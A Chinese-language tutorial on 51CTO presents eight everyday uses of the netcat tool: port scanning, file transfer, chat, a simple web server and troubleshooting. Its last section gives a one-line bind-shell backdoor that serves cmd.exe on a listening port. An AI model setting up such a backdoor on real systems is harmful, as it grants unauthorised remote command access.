|
|
51CTO旗下网站
|
|
移动端

8个nc命令的实用案例

netcat(简称nc)是一个简单但功能强大的网络命令行工具,用于执行Linux中与TCP、UDP或Unix套接字相关的任何操作。在本文中,我们将通过使用案例解释netcat使用命令。

作者:Linux学习教程来源:今日头条|2020-07-07 08:01

1. 前言

netcat(简称nc)是一个简单但功能强大的网络命令行工具,用于执行Linux中与TCP、UDP或Unix套接字相关的任何操作。

netcat可用于端口扫描,端口重定向,启动端口监听器;它还可以用来打开远程连接和许多其他事情。此外,您可以使用它作为后门访问目标服务器。

在本文中,我们将通过使用案例解释netcat使用命令。

2. 如何在Linux中安装和使用netcat

要在系统上安装netcat包,请使用Linux发行版的默认包管理器。

基于CentOS或RHEL体系安装nc命令

  1. yum install nc 

基于Fedora 22+ 或 RHEL 8安装nc命令:

  1. dnf install nc 

基于Debian或Ubuntu安装nc命令:

  1. sudo apt-get install netcat 

一旦安装了netcat包,您可以在下面的示例中进一步学习netcat命令的用法。

3. 使用nc命令扫描端口

netcat可用于端口扫描:了解目标服务器上哪些端口是打开的并正在运行服务。它可以扫描一个或多个或一系列打开的端口。

使用nc命令扫描端口

下面是一个示例,-z选项将nc设置为只扫描侦听守护进程,而不实际向它们发送任何数据。-v选项启用详细模式,而-w指定无法建立连接的超时。

扫描单个端口:

  1. nc -v -w 2 z 192.168.56.1 22 

扫描多个端口:

  1. nc -v -w 2 z 192.168.56.1 22 80 

扫描端口范围:

  1. nc -v -w 2 z 192.168.56.1 20-25 

4. 在Linux服务器之间传输文件

netcat允许您在两台Linux服务器之间传输文件,这两个系统都必须安装nc。

例如,要将ISO映像文件从一台计算机复制到另一台计算机并监视传输过程(使用pv实用程序),请在发送者(存在ISO文件的地方)上运行以下命令。

先安装pv命令,比如在CentOS系统上执行以下命令安装pv程序:

  1. yum -y install pv 

这将在端口3000上以监听模式(-l选项)运行nc,在服务器上运行以下命令:

服务器的IP地址为192.168.192.134

  1. tar -zcf - zcwyou.rar  | pv | nc -l -p 3000 

在接收端/客户端计算机上,运行以下命令来获取文件。

  1. nc 192.168.192.134 3000 | pv | tar -zxf - 

5. 创建一个命令行聊天服务器

您还可以使用netcat立即创建一个简单的命令行消息传递服务器。与前面的使用示例一样,必须在聊天室使用的两个系统上安装nc。

在一个系统上,运行以下命令创建在端口5000上侦听的聊天服务器。

  1. nc -l -vv -p 5000 

创建一个命令行聊天服务器

在另一个系统上,运行以下命令,在运行消息传递服务器的机器上启动聊天会话。

  1. nc 192.168.192.134 5000 

命令行聊天客户端

6. 创建一个基本的Web服务器

使用nc命令的-l选项创建基本的、不安全的web服务器。为了演示这一点,创建如下所示的html文件。

  1. vim index.html 

在文件中添加以下HTML行:

  1. <html> 
  2.         <head> 
  3.                 <title>Test Page</title> 
  4.         </head> 
  5.         <body> 
  6.                       <p>Serving this file using Netcat Basic HTTP server!</p> 
  7.         </body> 
  8. </html> 

保存文件中的更改并退出。

使用nc命令创建一个简单的Web服务器

然后通过运行以下命令提供服务提供HTTP服务,这将使HTTP服务器能够连续运行。

  1. while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done 

使用nc命令提供HTTP服务

然后打开web浏览器,可以使用以下地址访问内容:

  1. http://192.168.1.1:8080 

使用真实的服务地址替换192.168.1.1

注意,您可以通过按[Ctrl+ C]来停止Netcat HTTP服务器。

7. 解决Linux服务器连接问题

netcat的另一个实用功能是解决服务器连接问题。在这里,您可以使用netcat来验证服务器发送什么数据来响应客户机发出的命令。

使用下面的命令查看example.com的主页:

  1. printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80 

上述命令的输出包括web服务器发送的头部,可用于故障排除目的。

8. 查找在端口上运行的服务

您还可以使用netcat获得端口详细信息。在这种情况下,它将告诉您在某个端口后运行的是什么服务。例如,要了解特定服务器上端口22后面运行的是什么类型的服务,可以运行以下命令(使用目标服务器的IP地址替换192.168.56.110)。选项-n意味着禁用DNS解析。

  1. nc -v -n 192.168.56.110 80 

9. 创建一个流套接字

netcat还支持创建unix流套接字。下面的命令将创建并侦听一个unix流套接字。

  1. nc -lU /var/tmp/mysocket & 

检查:

  1. ss -lpn | grep "/var/tmp/" 

10. 创建一个后门

你也可以把netcat当成一个后门。然而,这需要更多的工作。如果netcat安装在目标服务器上,您可以使用它来创建后门,以获得远程命令提示符。

要启用一个后门,你需要netcat监听一个选择的端口(比如:端口3001),然后您可以按照如下方式从您的计算机连接到这个端口。

在远程服务器上运行以下命令,其中-d选项禁止从stdin读取,而-e选项指定要在目标系统上运行的命令。

  1. nc -L -p 3001 -d -e cmd.exe  

本文链接:https://www.linuxrumen.com/cyml/1800.html

【责任编辑:赵宁宁 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

订阅专栏+更多

大数据安全运维实战

大数据安全运维实战

CDH+Ambari
共20章 | 大数据陈浩

82人订阅学习

实操案例:Jenkins持续交付和持续部署

实操案例:Jenkins持续交付和持续部署

微服务架构下的自动化部署
共18章 | freshman411

174人订阅学习

思科交换网络安全指南

思科交换网络安全指南

安全才能无忧
共5章 | 思科小牛

104人订阅学习

视频课程+更多

Wireshark网络安全协议分析

Wireshark网络安全协议分析

讲师:曲广平843人学习过

阿里云ACP认证通关攻略视频培训

阿里云ACP认证通关攻略视频培训

讲师:杰森洋96577人学习过

Appium移动自动化(App)测试

Appium移动自动化(App)测试

讲师:李晓鹏826人学习过

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO官微